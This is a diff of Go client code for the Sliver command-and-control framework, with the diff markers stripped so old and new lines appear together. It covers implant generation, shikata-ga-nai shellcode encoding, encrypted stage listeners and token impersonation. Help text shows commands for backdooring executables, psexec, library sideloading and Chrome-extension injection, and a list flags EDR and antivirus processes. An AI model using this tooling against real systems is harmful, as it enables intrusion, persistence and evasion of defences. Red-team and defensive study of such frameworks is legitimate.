elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
if err != nil {
return nil, err
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return nil, nil
}
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -782,41 +628,20 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
return nil, err
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
if disableSGN {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, fileData, 0700)
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -842,9 +667,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
@@ -906,48 +728,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
survey.AskOne(prompt, &confirm, nil)
return confirm
}
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(builders.Builders) < 1 {
return []*clientpb.Builder{}, ErrNoExternalBuilder
}
validBuilders := []*clientpb.Builder{}
for _, builder := range builders.Builders {
for _, target := range builder.Targets {
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
validBuilders = append(validBuilders, builder)
break
}
}
}
if len(validBuilders) < 1 {
return []*clientpb.Builder{}, ErrNoValidBuilders
}
return validBuilders, nil
}
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
choices := []string{}
for _, builder := range builders {
choices = append(choices, builder.Name)
}
choice := ""
prompt := &survey.Select{
Message: "Select an external builder:",
Options: choices,
}
survey.AskOne(prompt, &choice, nil)
for _, builder := range builders {
if builder.Name == choice {
return builder, nil
}
}
return nil, ErrNoValidBuilders
}
+2 -7
View File
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildFilters := ImplantBuildFilter{}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
@@ -65,7 +65,6 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"Template",
"OS/Arch",
"Format",
"Command & Control",
@@ -104,13 +103,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
if config.TemplateName == "" {
config.TemplateName = "sliver"
}
tw.AppendRow(table.Row{
sliverName,
implantType,
config.TemplateName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
+1 -1
View File
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
implantFile, err := compile(profile.Config, save, con)
if err != nil {
return
}
+2 -1
View File
@@ -20,6 +20,7 @@ package generate
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
+6 -41
View File
@@ -103,11 +103,6 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
// Builders
consts.BuildersStr: buildersHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -209,10 +204,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -370,8 +365,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
Sideload a Linux shared library into a new bash process using LD_PRELOAD:
sideload -p /bin/bash /tmp/mylib.so
Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
[[.Bold]]Remarks:[[.Normal]]
Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -455,7 +450,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -467,20 +462,10 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
Valid types are:
LOGON_INTERACTIVE
LOGON_NETWORK
LOGON_BATCH
LOGON_SERVICE
LOGON_UNLOCK
LOGON_NETWORK_CLEARTEXT
LOGON_NEW_CREDENTIALS
`
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -701,26 +686,6 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
External builders allow the Sliver server offload implant builds onto external machines.
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
`
)
-5
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+3 -26
View File
@@ -22,7 +22,6 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,25 +33,10 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +49,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -86,16 +67,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
+2 -43
View File
@@ -19,14 +19,9 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"github.com/bishopfox/sliver/util/encoders"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
@@ -41,8 +36,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -71,7 +64,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorrect length of AES Key\n")
con.PrintErrorf("Incorect length of AES Key\n")
return
}
@@ -82,7 +75,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
con.PrintErrorf("Incorect length of AES IV\n")
return
}
@@ -95,34 +88,12 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = encoders.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -139,9 +110,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -167,8 +135,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -195,10 +161,3 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+4 -14
View File
@@ -55,20 +55,10 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
for loot.Credential.User == "" {
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
if loot.Credential.User == "" {
con.Println("Username is required")
}
}
for loot.Credential.Password == "" {
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
if loot.Credential.Password == "" {
con.Println("Password is required")
}
}
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
+2 -6
View File
@@ -176,14 +176,10 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
if loot.Name == filename {
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
}
table.Flush()
+1 -6
View File
@@ -166,13 +166,8 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
filename := ""
if loot.File != nil {
filename = loot.File.Name
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
}
table.Flush()
+9 -10
View File
@@ -44,7 +44,6 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ip6 := ctx.Flags.Bool("ip6")
tcp := ctx.Flags.Bool("tcp")
udp := ctx.Flags.Bool("udp")
numeric := ctx.Flags.Bool("numeric")
implantPID := getPID(session, beacon)
activeC2 := getActiveC2(session, beacon)
@@ -68,21 +67,25 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
PrintNetstat(netstat, implantPID, activeC2, con)
})
con.PrintAsyncResponse(netstat.Response)
} else {
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
PrintNetstat(netstat, implantPID, activeC2, con)
}
}
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.Ip
names, err := net.LookupAddr(addr)
if err == nil && len(names) > 0 {
addr = names[0]
}
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
@@ -95,12 +98,8 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
if entry.Process != nil {
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
}
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
if !numeric {
srcAddr = lookup(entry.LocalAddr)
dstAddr = lookup(entry.RemoteAddr)
}
srcAddr := lookup(entry.LocalAddr)
dstAddr := lookup(entry.RemoteAddr)
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
+4 -14
View File
@@ -19,10 +19,8 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendRow(table.Row{
tw.AppendHeader(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+4 -21
View File
@@ -28,16 +28,6 @@ import (
"google.golang.org/protobuf/proto"
)
var logonTypes = map[string]uint32{
"LOGON_INTERACTIVE": 2,
"LOGON_NETWORK": 3,
"LOGON_BATCH": 4,
"LOGON_SERVICE": 5,
"LOGON_UNLOCK": 7,
"LOGON_NETWORK_CLEARTEXT": 8,
"LOGON_NEW_CREDENTIALS": 9,
}
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
@@ -48,12 +38,6 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
logonType := ctx.Flags.String("logon-type")
if _, ok := logonTypes[logonType]; !ok {
con.PrintErrorf("Invalid logon type: %s\n", logonType)
return
}
if username == "" || password == "" {
con.PrintErrorf("Pou must provide a username and password\n")
@@ -64,11 +48,10 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
LogonType: logonTypes[logonType],
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
-8
View File
@@ -36,12 +36,8 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
showWindow := ctx.Flags.Bool("show-window")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
netonly := ctx.Flags.Bool("net-only")
if username == "" {
con.PrintErrorf("Please specify a username\n")
@@ -58,10 +54,6 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Username: username,
ProcessName: process,
Args: arguments,
Domain: domain,
Password: password,
HideWindow: !showWindow,
NetOnly: netonly,
})
if err != nil {
con.PrintErrorf("%s", err)
+14 -79
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
@@ -38,48 +37,15 @@ var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
